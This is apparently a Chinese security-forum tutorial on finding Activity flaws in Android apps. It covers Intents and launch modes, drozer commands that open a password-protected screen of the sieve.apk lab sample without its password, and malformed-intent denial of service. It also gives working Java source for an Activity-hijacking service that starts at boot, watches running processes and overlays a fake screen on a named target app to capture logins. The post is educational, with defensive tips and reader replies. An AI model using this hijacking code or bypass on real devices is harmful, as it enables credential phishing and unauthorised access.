首页
社区
课程
招聘
[原创]Android APP漏洞之战(1)——Activity漏洞挖掘详解
发表于: 2021-9-5 21:17 37647

[原创]Android APP漏洞之战(1)——Activity漏洞挖掘详解

2021-9-5 21:17
37647

最近在总结Android APP漏洞挖掘方面的知识,上篇帖子Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF向大家初步的介绍了Android APP漏洞挖掘过程中常见的工具,这里也是我平时使用过程中比较常用的三套件,今天我们来逐步学习和复现Android中 Activity漏洞挖掘部分知识,每个漏洞挖掘部分,我们都会选择具有代表性的样本案例给大家演示。

在学习Activity的漏洞挖掘之前,我们先对Activity的基本运行原理有一个初步的认识

首先,我们要启动Activity,完成各个Activity之间的交互,我们需要使用Android中一个重要的组件Intent

Intent一般分为显式Intent和隐私Intent:

显示Intent打开Activity:

隐式Intent打开Activity:

隐式Intent并不指明启动那个Activity而是指定一系列的action和category,然后由系统去分析找到合适的Activity并打开,action和category一般在AndroidManifest中指定

只有<action><category>中的内容能够匹配上Intent中指定的action和category时,这个活动才能响应Intent

我们这里只传入了ACTION_START,这是因为android.intent.category.DEFAULT是一种默认的category,在调用startActivity()时会自动将这个category添加到Intent中,注意:Intent中只能添加一个action,但是可以添加多个category

对于含多个category情况,我们可以使用addCategory()方法来添加一个category

隐私Intent打开程序外Activity:

例如我们调用系统的浏览器去打开百度网址

Intent.ACTION_VIEW是系统内置的动作,然后将https://www.baidu.com通过Uri.parse()转换成Uri对象,传递给intent.setData(Uri uri)函数

与此对应,我们在<intent-filter>中配置<data>标签,用于更加精确指定当前活动能够响应什么类型的数据:

只有当<data>标签中指定的内容和Intent中携带的data完全一致时,当前Activity才能响应该Intent。下面我们通过设置data,让它也能响应打开网页的Intent

我们就能通过隐式Intent的方法打开外部Activity

向下一个活动传递数据:

Intent传递字符串:

Intent接收字符串:

返回数据给上一个活动:

Android 在返回一个活动可以通过Back键,也可以使用startActivityForResult()方法来启动活动,该方法在活动销毁时能返回一个结果给上一个活动

我们在SecondActivity中返回数据

当活动销毁后,就会回调到上一个活动,所以我们需要在MainActivity中接收

如果我们要实现Back返回MainActivity,我们需要在SecondActivity中重写onBackPressed()方法

Activity类中定义了7个回调方法,覆盖了Activity声明周期的每一个环节:

生命周期调用图:

image-20210905173003541

我们这里之所以要介绍Activity的启动模式,是因为Activity界面劫持就是根据Activity的运行特点所实现的

Activity一共有四种启动模式:standard模式、singleTop模式、singleTask模式、singleInstance模式。下面我们简单介绍一下:

standard模式

如果不显示指定启动模式,那么Activity的启动模式就是standard,在该模式下不管Activity栈中有无Activity,均会创建一个新的Activity并入栈,并处于栈顶的位置

singleTop模式

singleTask模式

singleInstance模式

我们在上文中详细介绍了Activity的运行原理,接下来我们了解一些Activity的漏洞种类和应用的安全场景

image-20210905185725812

样本 sieve.apk drozer.apk

image-20210905185725812

首先,我们需要配置drozer的基本环境,具体配置操作,参考:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF

手机端打开代理,开启31415端口

image-20210905185725812

image-20210905185725812

我们尝试使用drozer去越权绕过该界面,首先,我们先列出程序中所有的APP 包

我们通过查询字段,可以快速定位到sieve的包名

image-20210905185725812

然后,我们去查询目标应用的攻击面

image-20210905185725812

我们可以看出,有三个activity是被导出的,我们再具体查询暴露activity的信息

image-20210905185725812

说明我们可以通过强制跳转其他两个界面,来实现越权绕过

image-20210905185725812

说明我们成功的实现了越权绕过

image-20210905191612675

image-20210905191635598

在进行Android 界面劫持过程中,我发现根据Android版本的变化情况,目前不同Android版本实现的功能代码有一定的差异性,再经过多次的学习和总结后,我复现而且改进了针对Android 6.0界面劫持的功能代码,并对不同版本的页面劫持做了一个初步的总结,下面是具体实验的详细过程:

首先我们新建一个服务类HijackingService.class,然后在MainActivity里面启动这个服务类

我们可以看到程序一旦启动,就会启动HijackingService.class

然后我们编写一个HijackingApplication类,主要负责添加劫持类别,清除劫持类别,判断是否已经劫持

说明:这个类的主要功能是,保存已经劫持过的包名,防止我们多次劫持增加暴露风险。

我们为了实现开机启动服务,新建一个广播类:

然后我们编写劫持类 HijackingService.class

我们编写劫持类中,最关键的就是如何获取当前的前台进程和遍历正在运行的进程,这也是Android版本更新后,导致不同版本劫持差异的主要原因,对这里我做了一个初步的总结:

我们编写获取当前目标进程的代码:

我们继续编写劫持替换的测试类

最后在我们的配置文件中加入相应的权限和配置信息:

我们需要将服务的时间设置成6秒,避免程序界面还未加载就劫持了

效果演示:

我们编写劫持类安装,打开:

image-20210905193109596

我们可以发现劫持类在后台运行:

image-20210905193315233

我们打开目标程序:

image-20210905193402155

等待5秒,然后劫持成功,这个时间我们可以在代码段调整:

image-20210905193503857

这样我们成功完成了对目标程序劫持,这里我只编写了一个简易的界面,大家可以编写更加复杂的界面,这主要是针对Android 6.0平台的劫持,各位也可以试试其他版本的平台

image-20210905193503857

通过它提示程序进入后台来提示用户

image-20210905193503857

因为现在这种漏洞在Android版本更新后,基本很少出现了,所以这里就不做复现和安全防护了

提到拒绝服务攻击,我们就不得不讲一下Android外部程序的调用方法:

我们查看一个目标应用的AndroidManifest.xml文件:

我们编写一个简易的APP程序,对目标程序进行拒绝服务攻击

这里我们传入一个空字符,使其产生错误

当然我们还可以使用我们的神器drozer来进行攻击

image-20210905193503857

远程拒绝服务攻击:

还有其他类型的拒绝服务攻击,大家可以参考博客:

写到这里,这个帖子总算写完了,对Android的Activity漏洞挖掘的总结过程中,我又再一次将Android 的Activity组件运行的基本原理熟悉了一遍,学习就是不断的总结提高把,可能在编写的过程中,还存在很多不足地方,就请各位大佬指教了。
github首页:github

Intent是各个组件之间交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,而且还能在各组件之间传递数据。Intent一般可用于启动Activity、启动Service、发送广播等场景。
Intent有多个构造函数的重载,Intent(Context packageContext,Class<?> cls//参数1:启动活动的上下文 参数2:想要启动的目标活动
我们构建好一个Intent对象后,只需要使用 startActivity(Intent)来启动就可以了
Intent是各个组件之间交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,而且还能在各组件之间传递数据。Intent一般可用于启动Activity、启动Service、发送广播等场景。
Intent有多个构造函数的重载,Intent(Context packageContext,Class<?> cls//参数1:启动活动的上下文 参数2:想要启动的目标活动
我们构建好一个Intent对象后,只需要使用 startActivity(Intent)来启动就可以了
 
Intent intent = new Intent(MainActivity.class,SecondActivity.class); //实例化Intent对象
intent.putExtra("et1",et1Str); //使用putExtra传递参数,参数1:键名 参数2:键对应的值 我们可以使用intent.getStringExtra("et1")获取传递的参数
startActivity(intent); //启动Intent,完成从MainActivity类跳转到SecondActivity类
Intent intent = new Intent(MainActivity.class,SecondActivity.class); //实例化Intent对象
intent.putExtra("et1",et1Str); //使用putExtra传递参数,参数1:键名 参数2:键对应的值 我们可以使用intent.getStringExtra("et1")获取传递的参数
startActivity(intent); //启动Intent,完成从MainActivity类跳转到SecondActivity类
 
<activity android:name=".SecondActivity">
            <intent-filter>
                <action android:name="com.example.test.ACTION_START" /
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
 </activity>
<activity android:name=".SecondActivity">
            <intent-filter>
                <action android:name="com.example.test.ACTION_START" /
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
 </activity>
Intent intent = Intent("com.example.test.ACTION_START");
startActivity(intent);
Intent intent = Intent("com.example.test.ACTION_START");
startActivity(intent);
 
intent.addCategory("com.example.test.MY_CATEGORY");
intent.addCategory("com.example.test.MY_CATEGORY");
 
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://www.baidu.com"));
startActivity(intent);
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://www.baidu.com"));
startActivity(intent);
 
android:scheme:用于指定数据的协议部分,如https
android:host:用于指定数据的主机名部分,如www.baidu.com
android:port:用于指定数据的端口,一般紧随主机名后
android:path:用于指定数据的路径
android:mimeType:用于指定支持的数据类型
android:scheme:用于指定数据的协议部分,如https
android:host:用于指定数据的主机名部分,如www.baidu.com
android:port:用于指定数据的端口,一般紧随主机名后
android:path:用于指定数据的路径
android:mimeType:用于指定支持的数据类型
<activity android:name=".SecondActivity">
            <intent-filter>
                <action android:name="com.example.test.action.VIEW" /
                <category android:name="android.intent.category.DEFAULT" />
                <data android:scheme="http">
            </intent-filter>
 </activity>
<activity android:name=".SecondActivity">
            <intent-filter>
                <action android:name="com.example.test.action.VIEW" /
                <category android:name="android.intent.category.DEFAULT" />
                <data android:scheme="http">
            </intent-filter>
 </activity>
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://www.baidu.com"));
startActivity(intent);
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://www.baidu.com"));
startActivity(intent);
 
Intent intent = new Intent(MainActivity.class,SecondActivity.class);
intent.putExtra("et1",et1Str);
startActivity(intent);
Intent intent = new Intent(MainActivity.class,SecondActivity.class);
intent.putExtra("et1",et1Str);
startActivity(intent);
Intent intent = getIntent();
String data = intent.getStringExtra("et1");
Intent intent = getIntent();
String data = intent.getStringExtra("et1");
 
Intent intent = new Intent(MainActivity.class,SecondActivity.class);
startActivityForResult(intent,1); //参数1:Intent  参数2:请求码,用于之后回调中判断数据来源
Intent intent = new Intent(MainActivity.class,SecondActivity.class);
startActivityForResult(intent,1); //参数1:Intent  参数2:请求码,用于之后回调中判断数据来源
Intent intent = new Intent();
intent.putExtra("data",data);
setResult(RESULT_OK,intent);  //setResult接收两个参数,参数1:向上一个活动返回处理结果,RESULT_OK或RESULT_CANCELED 参数2:把带数据Intent返回出去
finish();  //销毁当前活动
Intent intent = new Intent();
intent.putExtra("data",data);
setResult(RESULT_OK,intent);  //setResult接收两个参数,参数1:向上一个活动返回处理结果,RESULT_OK或RESULT_CANCELED 参数2:把带数据Intent返回出去
finish();  //销毁当前活动
@Override
   protected void onActivityResult(int requestCode, int resultCode,  Intent data) {  // 参数1:我们启动活动的请求码 参数2:我们返回数据时传入结果  参数3:携带返回数据的Intent
       super.onActivityResult(requestCode, resultCode, data);
       switch (requestCode){
           case  1:
               if(requestCode == RESULT_OK){
                   String returnData =data.getStringExtra("data");
               }
               break;
           default:
       }
   }
@Override
   protected void onActivityResult(int requestCode, int resultCode,  Intent data) {  // 参数1:我们启动活动的请求码 参数2:我们返回数据时传入结果  参数3:携带返回数据的Intent
       super.onActivityResult(requestCode, resultCode, data);
       switch (requestCode){
           case  1:
               if(requestCode == RESULT_OK){
                   String returnData =data.getStringExtra("data");
               }
               break;
           default:
       }
   }
@Override
  public void onBackPressed() {
      super.onBackPressed();
      Intent intent = new Intent();
      intent.putExtra("data","data");
      setResult(RESULT_OK,intent);
      finish();
  }
@Override
  public void onBackPressed() {
      super.onBackPressed();
      Intent intent = new Intent();
      intent.putExtra("data","data");
      setResult(RESULT_OK,intent);
      finish();
  }
onCreate(): 在Activity第一次创建时调用
onStart():在Activity可见但是没有焦点时调用
onResume():在Activity可见并且有焦点时调用
onPause():这个方法会在准备启动或者恢复另一个Activity时调用,我们通常在该方法中释放消耗CPU的资源或者保存数据,但在该方法内不能做耗时操作,否则影响另一个另一个Activity的启动或恢复。
onStop():在Activity不可见时调用,它和onPause主要区别就是:onPause在失去焦点时会调用但是依然可见,而onStop是完全不可见。
onDestory():在Activity被销毁前调用
onRestart():在Activity由不在栈顶到再次回到栈顶并且可见时调用。
onCreate(): 在Activity第一次创建时调用
onStart():在Activity可见但是没有焦点时调用
onResume():在Activity可见并且有焦点时调用
onPause():这个方法会在准备启动或者恢复另一个Activity时调用,我们通常在该方法中释放消耗CPU的资源或者保存数据,但在该方法内不能做耗时操作,否则影响另一个另一个Activity的启动或恢复。
onStop():在Activity不可见时调用,它和onPause主要区别就是:onPause在失去焦点时会调用但是依然可见,而onStop是完全不可见。
onDestory():在Activity被销毁前调用
onRestart():在Activity由不在栈顶到再次回到栈顶并且可见时调用。
 
我们可以将活动分为3中生存期:
    1)完整生存期:活动在onCreate()和onDestroy()方法之间所经历的,从开始初始化到完成释放内存
    2)可见生存期:活动在onStart()和onStop()方法之间所经历的,主要包括资源的加载和资源的释放
    3)前台生存期:活动在onResume()方法和onPause()方法之间所经历的,主要是Activity的运行
我们可以将活动分为3中生存期:
    1)完整生存期:活动在onCreate()和onDestroy()方法之间所经历的,从开始初始化到完成释放内存
    2)可见生存期:活动在onStart()和onStop()方法之间所经历的,主要包括资源的加载和资源的释放
    3)前台生存期:活动在onResume()方法和onPause()方法之间所经历的,主要是Activity的运行
 
 
 
 
1)启动一个Activity,这个Activity位于栈顶,则不会重新创建Activity,而直接使用,此时也不会调用Activity的onCreate(),因为并没有重新创建Activity
     Activity生命周期:
    onPause----->onNewIntent------>onResume
    这个过程中调用了 onNewIntent(intent: Intent?),我们可以在该函数中通过Intent获取新传递过来的数据,因为此时数据可能已经发生变化
 (2) 要启动的Activity不在栈顶,那么启动该Activity就会重新创建一个新的Activity并入栈,此时栈中就有2个Activity的实例了
1)启动一个Activity,这个Activity位于栈顶,则不会重新创建Activity,而直接使用,此时也不会调用Activity的onCreate(),因为并没有重新创建Activity
     Activity生命周期:
    onPause----->onNewIntent------>onResume
    这个过程中调用了 onNewIntent(intent: Intent?),我们可以在该函数中通过Intent获取新传递过来的数据,因为此时数据可能已经发生变化
 (2) 要启动的Activity不在栈顶,那么启动该Activity就会重新创建一个新的Activity并入栈,此时栈中就有2个Activity的实例了
如果准备启动的ActivityA的启动模式为singleTask的话,那么会先从栈中查找是否存在ActivityA的实例:
场景一、如果存在则将ActivityA之上的Activity都出栈,并调用ActivityA的onNewIntent()
       ActivityA启动ActivityB,然后启动ActivityA,此时生命周期过程:
       ActivityB onPause----->ActivityA(onRestart--->onStart--->onNewIntent--->onResume)--------->ActivityB(onStop--->onDestroy)
 
场景二、如果ActivityA位于栈顶,则直接使用并调用onNewInent(),此时和singleTop一样
       ActivityA启动ActivityA,此时生命周期过程:
       ActivityA(onPause--->onNewIntent--->onResume)
 
场景三、 如果栈中不存在ActivityA的实例则会创建一个新的Activity并入栈。
       ActivityA启动ActivityB,此时生命周期过程:
       ActivityA(onCreate--->onStart--->onResume)
如果准备启动的ActivityA的启动模式为singleTask的话,那么会先从栈中查找是否存在ActivityA的实例:
场景一、如果存在则将ActivityA之上的Activity都出栈,并调用ActivityA的onNewIntent()
       ActivityA启动ActivityB,然后启动ActivityA,此时生命周期过程:
       ActivityB onPause----->ActivityA(onRestart--->onStart--->onNewIntent--->onResume)--------->ActivityB(onStop--->onDestroy)
 
场景二、如果ActivityA位于栈顶,则直接使用并调用onNewInent(),此时和singleTop一样
       ActivityA启动ActivityA,此时生命周期过程:
       ActivityA(onPause--->onNewIntent--->onResume)
 
场景三、 如果栈中不存在ActivityA的实例则会创建一个新的Activity并入栈。
       ActivityA启动ActivityB,此时生命周期过程:
       ActivityA(onCreate--->onStart--->onResume)
指定singleInstance模式的Activity会启动一个新的返回栈来管理这个Activity(其实如果singleTask模式指定了不同的taskAffinity,也会启动一个新的返回栈
我们可以通过这种模式去实现其他程序和我们程序能共享这个Activity实例,在这种模式下,会有一个单独的返回栈来管理这个Activity,无论哪个应用程序来访问这个Activity,都在同一个返回栈中,也就解决了共享Activity实例的问题
指定singleInstance模式的Activity会启动一个新的返回栈来管理这个Activity(其实如果singleTask模式指定了不同的taskAffinity,也会启动一个新的返回栈
我们可以通过这种模式去实现其他程序和我们程序能共享这个Activity实例,在这种模式下,会有一个单独的返回栈来管理这个Activity,无论哪个应用程序来访问这个Activity,都在同一个返回栈中,也就解决了共享Activity实例的问题
Activity的组件导出,一般会导致的问题:Android Browser Intent Scheme URLs的攻击手段
(1)拒绝服务攻击:通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验
(2)越权攻击:Activity用户界面绕过会造成用户信息窃取、Activity界面被劫持产生欺诈等安全事件
(3)组件导出导致钓鱼欺诈
(4)隐式启动intent包含敏感数据
Activity的组件导出,一般会导致的问题:Android Browser Intent Scheme URLs的攻击手段
(1)拒绝服务攻击:通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验
(2)越权攻击:Activity用户界面绕过会造成用户信息窃取、Activity界面被劫持产生欺诈等安全事件
(3)组件导出导致钓鱼欺诈
(4)隐式启动intent包含敏感数据
在Android系统中,Activity默认是不导出的,如果设置了exported = "true" 这样的关键值或者是添加了<intent-filter>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。
例如:
(1)一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开
(2)通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务
(3)对Activity界面进行劫持
在Android系统中,Activity默认是不导出的,如果设置了exported = "true" 这样的关键值或者是添加了<intent-filter>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。
例如:
(1)一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开
(2)通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务
(3)对Activity界面进行劫持
 
 
 
adb forward tcp:31415 tcp:31415
drozer console connect
adb forward tcp:31415 tcp:31415
drozer console connect
 
 
run app.package.list
run app.package.list
 
 
run app.package.attacksurface com.mwr.example.sieve
run app.package.attacksurface com.mwr.example.sieve
 
run app.activity.info -a  com.mwr.example.sieve
run app.activity.info -a  com.mwr.example.sieve
 
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
 
防护策略:
(1)私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false
(2)公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export属性为true,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
防护策略:
(1)私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false
(2)公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export属性为true,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
原理介绍:
1)Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。
2)由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。
 
实现原理:
如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证
 
实现步骤:
(1)启动一个服务
(2)不断扫描当前进程
(3)找到目标后弹出伪装窗口
原理介绍:
1)Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。
2)由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。
 
实现原理:
如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证
 
实现步骤:
(1)启动一个服务
(2)不断扫描当前进程
(3)找到目标后弹出伪装窗口
 
 
public class MainActivity extends AppCompatActivity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent2 = new Intent(this,HijackingService.class);
        startService(intent2);
        Log.w("hijacking","activity启动用来劫持的Service");
    }
}
public class MainActivity extends AppCompatActivity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent2 = new Intent(this,HijackingService.class);
        startService(intent2);
        Log.w("hijacking","activity启动用来劫持的Service");
    }
}
 
public class HijackingApplication{ 
    private static List<String> hijackings = new ArrayList(); 
 
    public static void addProgressHijacked(String paramString){    //添加劫持进程
       hijackings.add(paramString); 
    
 
    public static void clearProgressHijacked(){       //清楚劫持进程集合
       hijackings.clear(); 
    
 
    public static boolean hasProgressBeHijacked(String paramString){    //判断该进程是否被劫持
       return hijackings.contains(paramString); 
    
}
public class HijackingApplication{ 
    private static List<String> hijackings = new ArrayList(); 
 
    public static void addProgressHijacked(String paramString){    //添加劫持进程
       hijackings.add(paramString); 
    
 
    public static void clearProgressHijacked(){       //清楚劫持进程集合
       hijackings.clear(); 
    
 
    public static boolean hasProgressBeHijacked(String paramString){    //判断该进程是否被劫持
       return hijackings.contains(paramString); 
    
}
 
public class HijackingReciver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")){
            Log.w("hijacking","开机启动");
            Intent intent2 = new Intent(context,HijackingService.class);
            context.startService(intent2);
            Log.w("hijacking","启动用来劫持的Service");
        }
 
    }
}
public class HijackingReciver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")){
            Log.w("hijacking","开机启动");
            Intent intent2 = new Intent(context,HijackingService.class);
            context.startService(intent2);
            Log.w("hijacking","启动用来劫持的Service");
        }
 
    }
}
private boolean hasStart = false;
    private boolean isStart;
    HashMap<String, Class<?>> map = new HashMap<String, Class<?>>();
    //新建线程
    Handler handler = new Handler();
    Runnable mTask = new Runnable() {
        @Override
        public void run() {
            Log.w("TAG","ABC");
            int i =1;
            //ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            //List<ActivityManager.RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();
          //  List<ActivityManager.RunningAppProcessInfo> appProcessInfos = ((ActivityManager) HijackingService.this.getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses();
           //String Processesnew = ForegroundProcess.getForegroundApp();
           //Log.w("TAG============",Processesnew);
           List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses();
            Log.w("hijacking", "=================正在枚举进程=======================");
            //枚举进程
            for( AndroidAppProcess appProcessInfo: Processes){
                Log.w("TAG",appProcessInfo.name);
                /*try {
                    Stat stat = appProcessInfo.stat();
                    int pid = stat.getPid();
                    int parentProcessId = stat.ppid();
                    long startTime = stat.stime();
                    int policy = stat.policy();
                    char state = stat.state();
                    Log.w("TAG","pid:"+pid+" parentProcessId:"+parentProcessId+" startTime:"+startTime+" policy:"+policy+" state:"+state);
                } catch (IOException e) {
                    e.printStackTrace();
                }
                */
 
                String ProcessesRunning = ForegroundProcess.getForegroundApp();
                Log.w("TAG============",ProcessesRunning);
                if(map.containsKey(ProcessesRunning)) {
                    // Log.w("TAG","GHZ");
                    //如果包含在我们劫持的map
                    if (map.containsKey(appProcessInfo.name)) {
                        Log.w("准备劫持", appProcessInfo.name);
                        hijacking(appProcessInfo.name);
                    } else {
                        //Log.w("hijacking",appProcessInfo.getPackageName());
                        //Log.w("abc","123");
                    }
                }
 
            }
            handler.postDelayed(mTask,8000);
        }
        private void hijacking(String progressName){
            //判断是否已经劫持,对劫持的过的程序跳过
            if(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){
                Intent localIntent = new Intent(HijackingService.this.getBaseContext(),HijackingService.this.map.get(progressName));
                localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                HijackingService.this.getApplication().startActivity(localIntent);
                HijackingApplicaiton.addProgressHijacked(progressName);
                Log.w("TAG====hijacking","已经劫持成功");
            }
        }
    };
 
    @Override
    public void onCreate() {
        super.onCreate();
        if(!isStart){
            map.put("com.cz.babySister",SecondActivity.class);
            this.handler.postDelayed(this.mTask, 1000);
            isStart = true;
        }
 
    }
 
    @Override
    public IBinder onBind(Intent intent) {
        // TODO: Return the communication channel to the service.
        throw new UnsupportedOperationException("Not yet implemented");
    }
 
    @Override
    public  boolean stopService(Intent name){
        hasStart = false;
        Log.w("TAG====hijacking","劫持服务停止");
        HijackingApplicaiton.clearProgressHijacked();
        return super.stopService(name);
    }
private boolean hasStart = false;
    private boolean isStart;
    HashMap<String, Class<?>> map = new HashMap<String, Class<?>>();
    //新建线程
    Handler handler = new Handler();
    Runnable mTask = new Runnable() {
        @Override
        public void run() {
            Log.w("TAG","ABC");
            int i =1;
            //ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            //List<ActivityManager.RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();
          //  List<ActivityManager.RunningAppProcessInfo> appProcessInfos = ((ActivityManager) HijackingService.this.getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses();
           //String Processesnew = ForegroundProcess.getForegroundApp();
           //Log.w("TAG============",Processesnew);
           List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses();
            Log.w("hijacking", "=================正在枚举进程=======================");
            //枚举进程
            for( AndroidAppProcess appProcessInfo: Processes){
                Log.w("TAG",appProcessInfo.name);
                /*try {
                    Stat stat = appProcessInfo.stat();
                    int pid = stat.getPid();
                    int parentProcessId = stat.ppid();
                    long startTime = stat.stime();
                    int policy = stat.policy();
                    char state = stat.state();
                    Log.w("TAG","pid:"+pid+" parentProcessId:"+parentProcessId+" startTime:"+startTime+" policy:"+policy+" state:"+state);
                } catch (IOException e) {
                    e.printStackTrace();
                }
                */
 
                String ProcessesRunning = ForegroundProcess.getForegroundApp();
                Log.w("TAG============",ProcessesRunning);
                if(map.containsKey(ProcessesRunning)) {
                    // Log.w("TAG","GHZ");
                    //如果包含在我们劫持的map
                    if (map.containsKey(appProcessInfo.name)) {
                        Log.w("准备劫持", appProcessInfo.name);
                        hijacking(appProcessInfo.name);
                    } else {
                        //Log.w("hijacking",appProcessInfo.getPackageName());
                        //Log.w("abc","123");
                    }
                }
 
            }
            handler.postDelayed(mTask,8000);
        }
        private void hijacking(String progressName){
            //判断是否已经劫持,对劫持的过的程序跳过
            if(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){
                Intent localIntent = new Intent(HijackingService.this.getBaseContext(),HijackingService.this.map.get(progressName));
                localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                HijackingService.this.getApplication().startActivity(localIntent);
                HijackingApplicaiton.addProgressHijacked(progressName);
                Log.w("TAG====hijacking","已经劫持成功");
            }
        }
    };
 
    @Override
    public void onCreate() {
        super.onCreate();
        if(!isStart){
            map.put("com.cz.babySister",SecondActivity.class);
            this.handler.postDelayed(this.mTask, 1000);
            isStart = true;
        }
 
    }
 
    @Override
    public IBinder onBind(Intent intent) {
        // TODO: Return the communication channel to the service.
        throw new UnsupportedOperationException("Not yet implemented");
    }
 
    @Override
    public  boolean stopService(Intent name){
        hasStart = false;

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-4-12 17:06 被随风而行aa编辑 ,原因:
上传的附件:
收藏
免费 24
支持
分享
最新回复 (15)
雪    币: 12
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
在进行界面劫持时 怎么不能获得前台进程呢
2021-9-7 18:49
0
雪    币: 7201
活跃值: (21965)
能力值: ( LV12,RANK:550 )
在线值:
发帖
回帖
粉丝
3
wx_for my test 在进行界面劫持时 怎么不能获得前台进程呢
你的android版本是什么呢 这里主要是针对android 6.0的截获哦
2021-9-7 18:53
0
雪    币: 70
活跃值: (2026)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
写的赞
2021-9-14 13:04
0
雪    币: 7201
活跃值: (21965)
能力值: ( LV12,RANK:550 )
在线值:
发帖
回帖
粉丝
5
菜小基 写的赞
2021-9-14 14:24
0
雪    币: 2089
活跃值: (3933)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
不错,现在更典型的是成为可信应用以后做“内鬼”,例如某应用通过一个知名应用的企业认证,可以调用某知名应用的内容提供者、接收器等,某知名应用会判断calling包以及签名、指纹等相关信息,但是阻止不了已经通过认证的合作厂商利用漏洞盗取这个知名应用的用户信息。
2021-10-5 06:41
0
雪    币: 7201
活跃值: (21965)
能力值: ( LV12,RANK:550 )
在线值:
发帖
回帖
粉丝
8
lhxdiao 不错,现在更典型的是成为可信应用以后做“内鬼”,例如某应用通过一个知名应用的企业认证,可以调用某知名应用的内容提供者、接收器等,某知名应用会判断calling包以及签名、指纹等相关信息,但是阻止不了已 ...
可以可以 学习了
2021-10-5 11:25
0
雪    币: 576
活跃值: (2035)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
mark,感谢分享
2021-10-5 13:52
